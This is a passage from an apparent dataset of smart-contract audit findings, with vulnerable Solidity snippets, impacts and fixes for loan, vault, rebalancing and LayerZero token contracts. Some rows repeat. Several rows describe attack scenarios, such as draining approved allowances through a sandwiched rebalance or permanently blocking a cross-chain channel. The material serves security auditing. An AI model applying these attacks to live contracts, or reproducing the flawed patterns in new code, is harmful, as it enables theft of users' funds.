loans to be used more than once, have to bundle their transactions. Otherwise, it is possible that someone might roll their loan, especially if the capital requirements are not huge because anyone can roll any loan. | ```\\n loans.push(\\n Loan(req, req.amount + interest, collat, expiration, true, msg.sender)\\n );\\n```\\n |
Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom | high | Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom\\n```\\n function clear (uint256 reqID) external returns (uint256 loanID) {\\n Request storage req = requests[reqID];\\n\\n factory.newEvent(reqID, CoolerFactory.Events.Clear);\\n\\n if (!req.active) \\n revert Deactivated();\\n else req.active = false;\\n\\n uint256 interest = interestFor(req.amount, req.interest, req.duration);\\n uint256 collat = collateralFor(req.amount, req.loanToCollateral);\\n uint256 expiration = block.timestamp + req.duration;\\n\\n loanID = loans.length;\\n loans.push(\\n Loan(req, req.amount + interest, collat, expiration, true, msg.sender)\\n );\\n debt.transferFrom(msg.sender, owner, req.amount);\\n }\\n```\\n | Consider using safeTransfer/safeTransferFrom consistently. | If the token send fails, it will cause a lot of serious problems. For example, in the clear function, if debt token is ZRX, the lender can clear request without providing any debt token. | ```\\n function clear (uint256 reqID) external returns (uint256 loanID) {\\n Request storage req = requests[reqID];\\n\\n factory.newEvent(reqID, CoolerFactory.Events.Clear);\\n\\n if (!req.active) \\n revert Deactivated();\\n else req.active = false;\\n\\n uint256 interest = interestFor(req.amount, req.interest, req.duration);\\n uint256 collat = collateralFor(req.amount, req.loanToCollateral);\\n uint256 expiration = block.timestamp + req.duration;\\n\\n loanID = loans.length;\\n loans.push(\\n Loan(req, req.amount + interest, collat, expiration, true, msg.sender)\\n );\\n debt.transferFrom(msg.sender, owner, req.amount);\\n }\\n```\\n |
Fully repaying a loan will result in debt payment being lost | high | When a `loan` is fully repaid the `loan` `storage` is deleted. Since `loan` is a `storage` reference to the `loan`, `loan.lender` will return `address(0)` after the `loan` has been deleted. This will result in the `debt` being transferred to `address(0)` instead of the lender. Some ERC20 tokens will revert when being sent to `address(0)` but a large number will simply be sent there and lost forever.\\n```\\nfunction repay (uint256 loanID, uint256 repaid) external {\\n Loan storage loan = loans[loanID];\\n\\n if (block.timestamp > loan.expiry) \\n revert Default();\\n \\n uint256 decollateralized = loan.collateral * repaid / loan.amount;\\n\\n if (repaid == loan.amount) delete loans[loanID];\\n else {\\n loan.amount -= repaid;\\n loan.collateral -= decollateralized;\\n }\\n\\n debt.transferFrom(msg.sender, loan.lender, repaid);\\n collateral.transfer(owner, decollateralized);\\n}\\n```\\n\\nIn `Cooler#repay` the `loan` storage associated with the loanID being repaid is deleted. `loan` is a storage reference so when `loans[loanID]` is deleted so is `loan`. The result is that `loan.lender` is now `address(0)` and the `loan` payment will be sent there instead. | Send collateral/debt then delete:\\n```\\n- if (repaid == loan.amount) delete loans[loanID];\\n+ if (repaid == loan.amount) {\\n+ debt.transferFrom(msg.sender, loan.lender, loan.amount);\\n+ collateral.transfer(owner, loan.collateral);\\n+ delete loans[loanID];\\n+ return;\\n+ }\\n```\\n | Lender's funds are sent to `address(0)` | ```\\nfunction repay (uint256 loanID, uint256 repaid) external {\\n Loan storage loan = loans[loanID];\\n\\n if (block.timestamp > loan.expiry) \\n revert Default();\\n \\n uint256 decollateralized = loan.collateral * repaid / loan.amount;\\n\\n if (repaid == loan.amount) delete loans[loanID];\\n else {\\n loan.amount -= repaid;\\n loan.collateral -= decollateralized;\\n }\\n\\n debt.transferFrom(msg.sender, loan.lender, repaid);\\n collateral.transfer(owner, decollateralized);\\n}\\n```\\n |
No check if Arbitrum L2 sequencer is down in Chainlink feeds | medium | Using Chainlink in L2 chains such as Arbitrum requires to check if the sequencer is down to avoid prices from looking like they are fresh although they are not.\\nThe bug could be leveraged by malicious actors to take advantage of the sequencer downtime.\\n```\\n function getEthPrice() internal view returns (uint) {\\n (, int answer,, uint updatedAt,) =\\n ethUsdPriceFeed.latestRoundData();\\n\\n if (block.timestamp - updatedAt >= 86400)\\n revert Errors.StalePrice(address(0), address(ethUsdPriceFeed));\\n\\n if (answer <= 0)\\n revert Errors.NegativePrice(address(0), address(ethUsdPriceFeed));\\n\\n return uint(answer);\\n }\\n```\\n | Issue No check if Arbitrum L2 sequencer is down in Chainlink feeds | The impact depends on the usage of the GLP. If it is used as part of the collateral for lenders:\\nUsers can get better borrows if the price is above the actual price\\nUsers can avoid liquidations if the price is under the actual price | ```\\n function getEthPrice() internal view returns (uint) {\\n (, int answer,, uint updatedAt,) =\\n ethUsdPriceFeed.latestRoundData();\\n\\n if (block.timestamp - updatedAt >= 86400)\\n revert Errors.StalePrice(address(0), address(ethUsdPriceFeed));\\n\\n if (answer <= 0)\\n revert Errors.NegativePrice(address(0), address(ethUsdPriceFeed));\\n\\n return uint(answer);\\n }\\n```\\n |
GMX Reward Router's claimForAccount() can be abused to incorrectly add WETH to tokensIn | medium | When `claimFees()` is called, the Controller automatically adds WETH to the user's account. However, in the case where no fees have accrued yet, there will not be WETH withdrawn. In this case, the user will have WETH added as an asset in their account, while they won't actually have any WETH holdings.\\nWhen a user calls the GMX Reward Router's `claimFees()` function, the RewardRouterController confirms the validity of this call in the `canCallClaimFees()` function:\\n```\\nfunction canCallClaimFees()\\n internal\\n view\\n returns (bool, address[] memory, address[] memory)\\n{\\n return (true, WETH, new address[](0));\\n}\\n```\\n\\nThis function assumes that any user calling `claimFees()` will always receive `WETH`. However, this is only the case if their stake has been accruing.\\nImagine the following two actions are taken in the same block:\\nDeposit assets into GMX staking\\nCall claimFees()\\nThe result will be that `claimFees()` returns no `WETH`, but `WETH` is added to the account's asset list.\\nThe same is true if a user performs the following three actions:\\nCall claimFees()\\nWithdraw all ETH from the WETH contract\\nCall claimFees() again | The best way to solve this is actually not at the Controller level. It's to solve the issue of fake assets being added once and not have to worry about it on the Controller level in the future.\\nThis can be accomplished in `AccountManager.sol#_updateTokensIn()`. It should be updated to only add the token to the assets list if it has a positive balance, as follows:\\n```\\nfunction _updateTokensIn(address account, address[] memory tokensIn)\\n internal\\n{\\n uint tokensInLen = tokensIn.length;\\n for(uint i; i < tokensInLen; // Add the line below\\n// Add the line below\\ni) {\\n// Remove the line below\\n if (IAccount(account).hasAsset(tokensIn[i]) == false)\\n// Add the line below\\n if (IAccount(account).hasAsset(tokensIn[i]) == false && IERC20(token).balanceOf(account) > 0)\\n IAccount(account).addAsset(tokensIn[i]);\\n }\\n}\\n```\\n\\nHowever, `_updateTokensIn()` is currently called before the function is executed in `exec()`, so that would need to be changed as well:\\n```\\nfunction exec(address account, address target, uint amt, bytes calldata data) external onlyOwner(account) {\\n bool isAllowed;\\n address[] memory tokensIn;\\n address[] memory tokensOut;\\n (isAllowed, tokensIn, tokensOut) = controller.canCall(target, (amt > 0), data);\\n if (!isAllowed) revert Errors.FunctionCallRestricted();\\n// Remove the line below\\n _updateTokensIn(account, tokensIn);\\n (bool success,) = IAccount(account).exec(target, amt, data);\\n if (!success)\\n revert Errors.AccountInteractionFailure(account, target, amt, data);\\n// Add the line below\\n _updateTokensIn(account, tokensIn);\\n _updateTokensOut(account, tokensOut);\\n if (!riskEngine.isAccountHealthy(account))\\n revert Errors.RiskThresholdBreached();\\n}\\n```\\n\\nWhile this fix does require changing a core contract, it would negate the need to worry about edge cases causing incorrect accounting of tokens on any future integrations, which I think is a worthwhile trade off.\\nThis accuracy is especially important as Sentiment becomes better known and integrated into the Arbitrum ecosystem. While I know that having additional assets doesn't cause internal problems at present, it is hard to predict what issues inaccurate data will cause in the future. Seeing that Plutus is checking Sentiment contracts for their whitelist drove this point home — we need to ensure the data stays accurate, even in edge cases, or else there will be trickle down problems we can't currently predict. | A user can force their account into a state where it has `WETH` on the asset list, but doesn't actually hold any `WETH`.\\nThis specific Impact was judged as Medium for multiple issues in the previous contest: | ```\\nfunction canCallClaimFees()\\n internal\\n view\\n returns (bool, address[] memory, address[] memory)\\n{\\n return (true, WETH, new address[](0));\\n}\\n```\\n |
PerpDespository#reblance and rebalanceLite can be called to drain funds from anyone who has approved PerpDepository | high | PerpDespository#reblance and rebalanceLite allows anyone to specify the account that pays the quote token. These functions allow a malicious user to abuse any allowance provided to PerpDirectory. rebalance is the worst of the two because the malicious user could sandwich attack the rebalance to steal all the funds and force the unsuspecting user to pay the `shortfall`.\\n```\\nfunction rebalance(\\n uint256 amount,\\n uint256 amountOutMinimum,\\n uint160 sqrtPriceLimitX96,\\n uint24 swapPoolFee,\\n int8 polarity,\\n address account // @audit user specified payer\\n) external nonReentrant returns (uint256, uint256) {\\n if (polarity == -1) {\\n return\\n _rebalanceNegativePnlWithSwap(\\n amount,\\n amountOutMinimum,\\n sqrtPriceLimitX96,\\n swapPoolFee,\\n account // @audit user address passed directly\\n );\\n } else if (polarity == 1) {\\n // disable rebalancing positive PnL\\n revert PositivePnlRebalanceDisabled(msg.sender);\\n // return _rebalancePositivePnlWithSwap(amount, amountOutMinimum, sqrtPriceLimitX96, swapPoolFee, account);\\n } else {\\n revert InvalidRebalance(polarity);\\n }\\n}\\n```\\n\\n`rebalance` is an unpermissioned function that allows anyone to call and `rebalance` the PNL of the depository. It allows the caller to specify the an account that passes directly through to `_rebalanceNegativePnlWithSwap`\\n```\\nfunction _rebalanceNegativePnlWithSwap(\\n uint256 amount,\\n uint256 amountOutMinimum,\\n uint160 sqrtPriceLimitX96,\\n uint24 swapPoolFee,\\n address account\\n) private returns (uint256, uint256) {\\n // rest of code\\n // @audit this uses user supplied swap parameters which can be malicious\\n SwapParams memory params = SwapParams({\\n tokenIn: assetToken,\\n tokenOut: quoteToken,\\n amountIn: baseAmount,\\n amountOutMinimum: amountOutMinimum,\\n sqrtPriceLimitX96: sqrtPriceLimitX96,\\n poolFee: swapPoolFee\\n });\\n uint256 quoteAmountOut = spotSwapper.swapExactInput(params);\\n int256 shortFall = int256(\\n quoteAmount.fromDecimalToDecimal(18, ERC20(quoteToken).decimals())\\n ) - int256(quoteAmountOut);\\n if (shortFall > 0) {\\n // @audit shortfall is taken from account specified by user\\n IERC20(quoteToken).transferFrom(\\n account,\\n address(this),\\n uint256(shortFall)\\n );\\n } else if (shortFall < 0) {\\n // rest of code\\n }\\n vault.deposit(quoteToken, quoteAmount);\\n\\n emit Rebalanced(baseAmount, quoteAmount, shortFall);\\n return (baseAmount, quoteAmount);\\n}\\n```\\n\\n`_rebalanceNegativePnlWithSwap` uses both user specified swap parameters and takes the shortfall from the account specified by the user. This is where the function can be abused to steal funds from any user that sets an allowance for this contract. A malicious user can sandwich attack the swap and specify malicious swap parameters to allow them to steal the entire rebalance. This creates a large shortfall which will be taken from the account that they specify, effectively stealing the funds from the user.\\nExample: Any `account` that gives the depository allowance can be stolen from. Imagine the following scenario. The multisig is going to rebalance the contract for 15000 USDC worth of ETH and based on current market conditions they are estimating that there will be a 1000 USDC shortfall because of the difference between the perpetual and spot prices (divergences between spot and perpetual price are common in trending markets). They first approve the depository for 1000 USDC. A malicious user sees this approval and immediately submits a transaction of their own. They request to rebalance only 1000 USDC worth of ETH and sandwich attack the swap to steal the rebalance. They specify the multisig as `account` and force it to pay the 1000 USDC shortfall and burn their entire allowance, stealing the USDC. | PerpDespository#reblance and rebalanceLite should use msg.sender instead of account:\\n```\\n function rebalance(\\n uint256 amount,\\n uint256 amountOutMinimum,\\n uint160 sqrtPriceLimitX96,\\n uint24 swapPoolFee,\\n int8 polarity,\\n- address account\\n ) external nonReentrant returns (uint256, uint256) {\\n if (polarity == -1) {\\n return\\n _rebalanceNegativePnlWithSwap(\\n amount,\\n amountOutMinimum,\\n sqrtPriceLimitX96,\\n swapPoolFee,\\n- account \\n+ msg.sender\\n );\\n } else if (polarity == 1) {\\n // disable rebalancing positive PnL\\n revert PositivePnlRebalanceDisabled(msg.sender);\\n // return _rebalancePositivePnlWithSwap(amount, amountOutMinimum, sqrtPriceLimitX96, swapPoolFee, account);\\n } else {\\n revert InvalidRebalance(polarity);\\n }\\n }\\n```\\n | Anyone that gives the depository allowance can easily have their entire allowance stolen | ```\\nfunction rebalance(\\n uint256 amount,\\n uint256 amountOutMinimum,\\n uint160 sqrtPriceLimitX96,\\n uint24 swapPoolFee,\\n int8 polarity,\\n address account // @audit user specified payer\\n) external nonReentrant returns (uint256, uint256) {\\n if (polarity == -1) {\\n return\\n _rebalanceNegativePnlWithSwap(\\n amount,\\n amountOutMinimum,\\n sqrtPriceLimitX96,\\n swapPoolFee,\\n account // @audit user address passed directly\\n );\\n } else if (polarity == 1) {\\n // disable rebalancing positive PnL\\n revert PositivePnlRebalanceDisabled(msg.sender);\\n // return _rebalancePositivePnlWithSwap(amount, amountOutMinimum, sqrtPriceLimitX96, swapPoolFee, account);\\n } else {\\n revert InvalidRebalance(polarity);\\n }\\n}\\n```\\n |
USDC deposited to PerpDepository.sol are irretrievable and effectively causes UDX to become undercollateralized | high | PerpDepository rebalances negative PNL into USDC holdings. This preserves the delta neutrality of the system by exchanging base to quote. This is problematic though as once it is in the vault as USDC it can never be withdrawn. The effect is that the delta neutral position can never be liquidated but the USDC is inaccessible so UDX is effectively undercollateralized.\\n`_processQuoteMint`, `_rebalanceNegativePnlWithSwap` and `_rebalanceNegativePnlLite` all add USDC collateral to the system. There were originally two ways in which USDC could be removed from the system. The first was positive PNL rebalancing, which has now been deactivated. The second is for the owner to remove the USDC via `withdrawInsurance`.\\n```\\nfunction withdrawInsurance(uint256 amount, address to)\\n external\\n nonReentrant\\n onlyOwner\\n{\\n if (amount == 0) {\\n revert ZeroAmount();\\n }\\n\\n insuranceDeposited -= amount;\\n\\n vault.withdraw(insuranceToken(), amount);\\n IERC20(insuranceToken()).transfer(to, amount);\\n\\n emit InsuranceWithdrawn(msg.sender, to, amount);\\n}\\n```\\n\\nThe issue is that `withdrawInsurance` cannot actually redeem any USDC. Since insuranceDeposited is a uint256 and is decremented by the withdraw, it is impossible for more USDC to be withdrawn then was originally deposited.\\nThe result is that there is no way for the USDC to ever be redeemed and therefore over time will lead to the system becoming undercollateralized due to its inaccessibility. | Allow all USDC now deposited into the insurance fund to be redeemed 1:1 | UDX will become undercollateralized and the ecosystem will spiral out of control | ```\\nfunction withdrawInsurance(uint256 amount, address to)\\n external\\n nonReentrant\\n onlyOwner\\n{\\n if (amount == 0) {\\n revert ZeroAmount();\\n }\\n\\n insuranceDeposited -= amount;\\n\\n vault.withdraw(insuranceToken(), amount);\\n IERC20(insuranceToken()).transfer(to, amount);\\n\\n emit InsuranceWithdrawn(msg.sender, to, amount);\\n}\\n```\\n |
PerpDepository#getPositionValue uses incorrect value for TWAP interval allowing more than intended funds to be extracted | high | PerpDepository#getPositionValue queries the exchange for the mark price to calculate the unrealized PNL. Mark price is defined as the 15 minute TWAP of the market. The issue is that it uses the 15 second TWAP instead of the 15 minute TWAP\\nAs stated in the docs and as implemented in the ClearHouseConfig contract, the mark price is a 15 minute / 900 second TWAP.\\n```\\nfunction getPositionValue() public view returns (uint256) {\\n uint256 markPrice = getMarkPriceTwap(15);\\n int256 positionSize = IAccountBalance(clearingHouse.getAccountBalance())\\n .getTakerPositionSize(address(this), market);\\n return markPrice.mulWadUp(_abs(positionSize));\\n}\\n\\nfunction getMarkPriceTwap(uint32 twapInterval)\\n public\\n view\\n returns (uint256)\\n{\\n IExchange exchange = IExchange(clearingHouse.getExchange());\\n uint256 markPrice = exchange\\n .getSqrtMarkTwapX96(market, twapInterval)\\n .formatSqrtPriceX96ToPriceX96()\\n .formatX96ToX10_18();\\n return markPrice;\\n}\\n```\\n\\nAs seen in the code above getPositionValue uses 15 as the TWAP interval. This means it is pulling a 15 second TWAP rather than a 15 minute TWAP as intended. | I recommend pulling pulling the TWAP fresh each time from ClearingHouseConfig, because the TWAP can be changed at anytime. If it is desired to make it a constant then it should at least be changed from 15 to 900. | The mark price and by extension the position value will frequently be different from true mark price of the market allowing for larger rebalances than should be possible. | ```\\nfunction getPositionValue() public view returns (uint256) {\\n uint256 markPrice = getMarkPriceTwap(15);\\n int256 positionSize = IAccountBalance(clearingHouse.getAccountBalance())\\n .getTakerPositionSize(address(this), market);\\n return markPrice.mulWadUp(_abs(positionSize));\\n}\\n\\nfunction getMarkPriceTwap(uint32 twapInterval)\\n public\\n view\\n returns (uint256)\\n{\\n IExchange exchange = IExchange(clearingHouse.getExchange());\\n uint256 markPrice = exchange\\n .getSqrtMarkTwapX96(market, twapInterval)\\n .formatSqrtPriceX96ToPriceX96()\\n .formatX96ToX10_18();\\n return markPrice;\\n}\\n```\\n |
PerpDepository.netAssetDeposits variable can prevent users to withdraw with underflow error | medium | PerpDepository.netAssetDeposits variable can prevent users to withdraw with underflow error\\n```\\n function _depositAsset(uint256 amount) private {\\n netAssetDeposits += amount;\\n\\n\\n IERC20(assetToken).approve(address(vault), amount);\\n vault.deposit(assetToken, amount);\\n }\\n```\\n\\n```\\n function _withdrawAsset(uint256 amount, address to) private {\\n if (amount > netAssetDeposits) {\\n revert InsufficientAssetDeposits(netAssetDeposits, amount);\\n }\\n netAssetDeposits -= amount;\\n\\n\\n vault.withdraw(address(assetToken), amount);\\n IERC20(assetToken).transfer(to, amount);\\n }\\n```\\n\\nThe problem here is that when user deposits X assets, then he receives Y UXD tokens. And when later he redeems his Y UXD tokens he can receive more or less than X assets. This can lead to situation when netAssetDeposits variable will be seting to negative value which will revert tx.\\nExample. 1.User deposits 1 WETH when it costs 1200$. As result 1200 UXD tokens were minted and netAssetDeposits was set to 1. 2.Price of WETH has decreased and now it costs 1100. 3.User redeem his 1200 UXD tokens and receives from perp protocol 1200/1100=1.09 WETH. But because netAssetDeposits is 1, then transaction will revert inside `_withdrawAsset` function with underflow error. | As you don't use this variable anywhere else, you can remove it. Otherwise you need to have 2 variables instead: totalDeposited and totalWithdrawn. | User can't redeem all his UXD tokens. | ```\\n function _depositAsset(uint256 amount) private {\\n netAssetDeposits += amount;\\n\\n\\n IERC20(assetToken).approve(address(vault), amount);\\n vault.deposit(assetToken, amount);\\n }\\n```\\n |
Malicious user can use an excessively large _toAddress in OFTCore#sendFrom to break layerZero communication | high | By default layerZero implements a blocking behavior, that is, that each message must be processed and succeed in the order that it was sent. In order to circumvent this behavior the receiver must implement their own try-catch pattern. If the try-catch pattern in the receiving app ever fails then it will revert to its blocking behavior. The _toAddress input to OFTCore#sendFrom is calldata of any arbitrary length. An attacker can abuse this and submit a send request with an excessively large _toAddress to break communication between network with different gas limits.\\n```\\nfunction sendFrom(address _from, uint16 _dstChainId, bytes calldata _toAddress, uint _amount, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) public payable virtual override {\\n _send(_from, _dstChainId, _toAddress, _amount, _refundAddress, _zroPaymentAddress, _adapterParams);\\n}\\n```\\n\\nThe _toAddress input to OFTCore#sendFrom is a bytes calldata of any arbitrary size. This can be used as follows to break communication between chains that have different block gas limits.\\nExample: Let's say that an attacker wishes to permanently block the channel Arbitrum -> Optimism. Arbitrum has a massive gas block limit, much higher than Optimism's 20M block gas limit. The attacker would call sendFrom on the Arbitrum chain with the Optimism chain as the destination. For the _toAddress input they would use an absolutely massive amount of bytes. This would be packed into the payload which would be called on Optimism. Since Arbitrum has a huge gas limit the transaction would send from the Arbitrum side but it would be so big that the transaction could never succeed on the Optimism side due to gas constraints. Since that nonce can never succeed the communication channel will be permanently blocked at the Optimism endpoint, bypassing the nonblocking behavior implemented in the OFT design and reverting to the default blocking behavior of layerZero.\\nUsers can still send messages and burn their tokens from Arbitrum -> Optimism but the messages can never be received. This could be done between any two chain in which one has a higher block gas limit. This would cause massive loss of funds and completely cripple the entire protocol. | Limit the length of _toAddress to some amount (i.e. 256 bytes) as of right now EVM uses 20 bytes address and Sol/Aptos use 32 bytes address, so for right now it could be limited to 32 bytes.\\n```\\n function sendFrom(address _from, uint16 _dstChainId, bytes calldata _toAddress, uint _amount, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) public payable virtual override {\\n+ require(_toAddress.length <= maxAddressLength); \\n _send(_from, _dstChainId, _toAddress, _amount, _refundAddress, _zroPaymentAddress, _adapterParams);\\n }\\n```\\n | Massive loss of user funds and protocol completely crippled | ```\\nfunction sendFrom(address _from, uint16 _dstChainId, bytes calldata _toAddress, uint _amount, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) public payable virtual override {\\n _send(_from, _dstChainId, _toAddress, _amount, _refundAddress, _zroPaymentAddress, _adapterParams);\\n}\\n```\\n |
RageTrade senior vault USDC deposits are subject to utilization caps which can lock deposits for long periods of time leading to UXD instability | high | RageTrade senior vault requires that it maintains deposits above and beyond the current amount loaned to the junior vault. Currently this is set at 90%, that is the vault must maintain at least 10% more deposits than loans. Currently the junior vault is in high demand and very little can be withdrawn from the senior vault. A situation like this is far from ideal because in the even that there is a strong depeg of UXD a large portion of the collateral could be locked in the vault unable to be withdrawn.\\nDnGmxSeniorVault.sol\\n```\\nfunction beforeWithdraw(\\n uint256 assets,\\n uint256,\\n address\\n) internal override {\\n /// @dev withdrawal will fail if the utilization goes above maxUtilization value due to a withdrawal\\n // totalUsdcBorrowed will reduce when borrower (junior vault) repays\\n if (totalUsdcBorrowed() > ((totalAssets() - assets) * maxUtilizationBps) / MAX_BPS)\\n revert MaxUtilizationBreached();\\n\\n // take out required assets from aave lending pool\\n pool.withdraw(address(asset), assets, address(this));\\n}\\n```\\n\\nDnGmxSeniorVault.sol#beforeWithdraw is called before each withdraw and will revert if the withdraw lowers the utilization of the vault below a certain threshold. This is problematic in the event that large deposits are required to maintain the stability of UXD. | I recommend three safeguards against this:\\nMonitor the current utilization of the senior vault and limit deposits if utilization is close to locking positions\\nMaintain a portion of the USDC deposits outside the vault (i.e. 10%) to avoid sudden potential liquidity crunches\\nCreate functions to balance the proportions of USDC in and out of the vault to withdraw USDC from the vault in the event that utilization threatens to lock collateral | UXD may become destabilized in the event that the senior vault has high utilization and the collateral is inaccessible | ```\\nfunction beforeWithdraw(\\n uint256 assets,\\n uint256,\\n address\\n) internal override {\\n /// @dev withdrawal will fail if the utilization goes above maxUtilization value due to a withdrawal\\n // totalUsdcBorrowed will reduce when borrower (junior vault) repays\\n if (totalUsdcBorrowed() > ((totalAssets() - assets) * maxUtilizationBps) / MAX_BPS)\\n revert MaxUtilizationBreached();\\n\\n // take out required assets from aave lending pool\\n pool.withdraw(address(asset), assets, address(this));\\n}\\n```\\n |
USDC deposited to PerpDepository.sol are irretrievable and effectively causes UDX to become undercollateralized | high | PerpDepository rebalances negative PNL into USDC holdings. This preserves the delta neutrality of the system by exchanging base to quote. This is problematic though as once it is in the vault as USDC it can never be withdrawn. The effect is that the delta neutral position can never be liquidated but the USDC is inaccessible so UDX is effectively undercollateralized.\\n`_processQuoteMint`, `_rebalanceNegativePnlWithSwap` and `_rebalanceNegativePnlLite` all add USDC collateral to the system. There were originally two ways in which USDC could be removed from the system. The first was positive PNL rebalancing, which has now been deactivated. The second is for the owner to remove the USDC via `withdrawInsurance`.\\n```\\nfunction withdrawInsurance(uint256 amount, address to)\\n external\\n nonReentrant\\n onlyOwner\\n{\\n if (amount == 0) {\\n revert ZeroAmount();\\n }\\n\\n insuranceDeposited -= amount;\\n\\n vault.withdraw(insuranceToken(), amount);\\n IERC20(insuranceToken()).transfer(to, amount);\\n\\n emit InsuranceWithdrawn(msg.sender, to, amount);\\n}\\n```\\n\\nThe issue is that `withdrawInsurance` cannot actually redeem any USDC. Since insuranceDeposited is a uint256 and is decremented by the withdraw, it is impossible for more USDC to be withdrawn then was originally deposited.\\nThe result is that there is no way for the USDC to ever be redeemed and therefore over time will lead to the system becoming undercollateralized due to its inaccessibility. | Allow all USDC now deposited into the insurance fund to be redeemed 1:1 | UDX will become undercollateralized and the ecosystem will spiral out of control | ```\\nfunction withdrawInsurance(uint256 amount, address to)\\n external\\n nonReentrant\\n onlyOwner\\n{\\n if (amount == 0) {\\n revert ZeroAmount();\\n }\\n\\n insuranceDeposited -= amount;\\n\\n vault.withdraw(insuranceToken(), amount);\\n IERC20(insuranceToken()).transfer(to, amount);\\n\\n emit InsuranceWithdrawn(msg.sender, to, amount);\\n}\\n```\\n |
PerpDepository#getPositionValue uses incorrect value for TWAP interval allowing more than intended funds to be extracted | high | PerpDepository#getPositionValue queries the exchange for the mark price to calculate the unrealized PNL. Mark price is defined as the 15 minute TWAP of the market. The issue is that it uses the 15 second TWAP instead of the 15 minute TWAP\\nAs stated in the docs and as implemented in the ClearHouseConfig contract, the mark price is a 15 minute / 900 second TWAP.\\n```\\nfunction getPositionValue() public view returns (uint256) {\\n uint256 markPrice = getMarkPriceTwap(15);\\n int256 positionSize = IAccountBalance(clearingHouse.getAccountBalance())\\n .getTakerPositionSize(address(this), market);\\n return markPrice.mulWadUp(_abs(positionSize));\\n}\\n\\nfunction getMarkPriceTwap(uint32 twapInterval)\\n public\\n view\\n returns (uint256)\\n{\\n IExchange exchange = IExchange(clearingHouse.getExchange());\\n uint256 markPrice = exchange\\n .getSqrtMarkTwapX96(market, twapInterval)\\n .formatSqrtPriceX96ToPriceX96()\\n .formatX96ToX10_18();\\n return markPrice;\\n}\\n```\\n\\nAs seen in the code above getPositionValue uses 15 as the TWAP interval. This means it is pulling a 15 second TWAP rather than a 15 minute TWAP as intended. | I recommend pulling pulling the TWAP fresh each time from ClearingHouseConfig, because the TWAP can be changed at anytime. If it is desired to make it a constant then it should at least be changed from 15 to 900. | The mark price and by extension the position value will frequently be different from true mark price of the market allowing for larger rebalances than should be possible. | ```\\nfunction getPositionValue() public view returns (uint256) {\\n uint256 markPrice = getMarkPriceTwap(15);\\n int256 positionSize = IAccountBalance(clearingHouse.getAccountBalance())\\n .getTakerPositionSize(address(this), market);\\n return markPrice.mulWadUp(_abs(positionSize));\\n}\\n\\nfunction getMarkPriceTwap(uint32 twapInterval)\\n public\\n view\\n returns (uint256)\\n{\\n IExchange exchange = IExchange(clearingHouse.getExchange());\\n uint256 markPrice = exchange\\n .getSqrtMarkTwapX96(market, twapInterval)\\n .formatSqrtPriceX96ToPriceX96()\\n .formatX96ToX10_18();\\n return markPrice;\\n}\\n```\\n |
`rebalanceLite` should provide a slippage protection | medium | Users can lose funds while rebalancing.\\nThe protocol provides two kinds of rebalancing functions - `rebalance()` and `rebalanceLite()`. While the function `rebalance()` is protected from an unintended slippage because the caller can specify `amountOutMinimum`, `rebalanceLite()` does not have this protection. This makes the user vulnerable to unintended slippage due to various scenarios.\\n```\\nPerpDepository.sol\\n function rebalanceLite(\\n uint256 amount,\\n int8 polarity,\\n uint160 sqrtPriceLimitX96,\\n address account\\n ) external nonReentrant returns (uint256, uint256) {\\n if (polarity == -1) {\\n return\\n _rebalanceNegativePnlLite(amount, sqrtPriceLimitX96, account);\\n } else if (polarity == 1) {\\n // disable rebalancing positive PnL\\n revert PositivePnlRebalanceDisabled(msg.sender);\\n // return _rebalancePositivePnlLite(amount, sqrtPriceLimitX96, account);\\n } else {\\n revert InvalidRebalance(polarity);\\n }\\n }\\n function _rebalanceNegativePnlLite(\\n uint256 amount,\\n uint160 sqrtPriceLimitX96,\\n address account\\n ) private returns (uint256, uint256) {\\n uint256 normalizedAmount = amount.fromDecimalToDecimal(\\n ERC20(quoteToken).decimals(),\\n 18\\n );\\n _checkNegativePnl(normalizedAmount);\\n IERC20(quoteToken).transferFrom(account, address(this), amount);\\n IERC20(quoteToken).approve(address(vault), amount);\\n vault.deposit(quoteToken, amount);\\n bool isShort = false;\\n bool amountIsInput = true;\\n (uint256 baseAmount, uint256 quoteAmount) = _placePerpOrder(\\n normalizedAmount,\\n isShort,\\n amountIsInput,\\n sqrtPriceLimitX96\\n );\\n vault.withdraw(assetToken, baseAmount);\\n IERC20(assetToken).transfer(account, baseAmount);\\n emit Rebalanced(baseAmount, quoteAmount, 0);\\n return (baseAmount, quoteAmount);\\n }\\n```\\n\\nEspecially, according to the communication with the PERP dev team, it is possible for the Perp's ClearingHouse to fill the position partially when the price limit is specified (sqrtPriceLimitX96). It is also commented in the Perp contract comments here.\\n```\\n /// @param sqrtPriceLimitX96 tx will fill until it reaches this price but WON'T REVERT\\n struct InternalOpenPositionParams {\\n address trader;\\n address baseToken;\\n bool isBaseToQuote;\\n bool isExactInput;\\n bool isClose;\\n uint256 amount;\\n uint160 sqrtPriceLimitX96;\\n }\\n```\\n\\nSo it is possible that the order is not placed to the full `amount`. As we can see in the #L626~#L628, the UXD protocol grabs the quote token of `amount` and deposits to the Perp's vault. And the unused `amount` will remain in the Perp vault while this is supposed to be returned to the user who called this rebalance function. | Add a protection parameter to the function `rebalanceLite()` so that the user can specify the minimum out amount. | Users can lose funds while lite rebalancing. | ```\\nPerpDepository.sol\\n function rebalanceLite(\\n uint256 amount,\\n int8 polarity,\\n uint160 sqrtPriceLimitX96,\\n address account\\n ) external nonReentrant returns (uint256, uint256) {\\n if (polarity == -1) {\\n return\\n _rebalanceNegativePnlLite(amount, sqrtPriceLimitX96, account);\\n } else if (polarity == 1) {\\n // disable rebalancing positive PnL\\n revert PositivePnlRebalanceDisabled(msg.sender);\\n // return _rebalancePositivePnlLite(amount, sqrtPriceLimitX96, account);\\n } else {\\n revert InvalidRebalance(polarity);\\n }\\n }\\n function _rebalanceNegativePnlLite(\\n uint256 amount,\\n uint160 sqrtPriceLimitX96,\\n address account\\n ) private returns (uint256, uint256) {\\n uint256 normalizedAmount = amount.fromDecimalToDecimal(\\n ERC20(quoteToken).decimals(),\\n 18\\n );\\n _checkNegativePnl(normalizedAmount);\\n IERC20(quoteToken).transferFrom(account, address(this), amount);\\n IERC20(quoteToken).approve(address(vault), amount);\\n vault.deposit(quoteToken, amount);\\n bool isShort = false;\\n bool amountIsInput = true;\\n (uint256 baseAmount, uint256 quoteAmount) = _placePerpOrder(\\n normalizedAmount,\\n isShort,\\n amountIsInput,\\n sqrtPriceLimitX96\\n );\\n 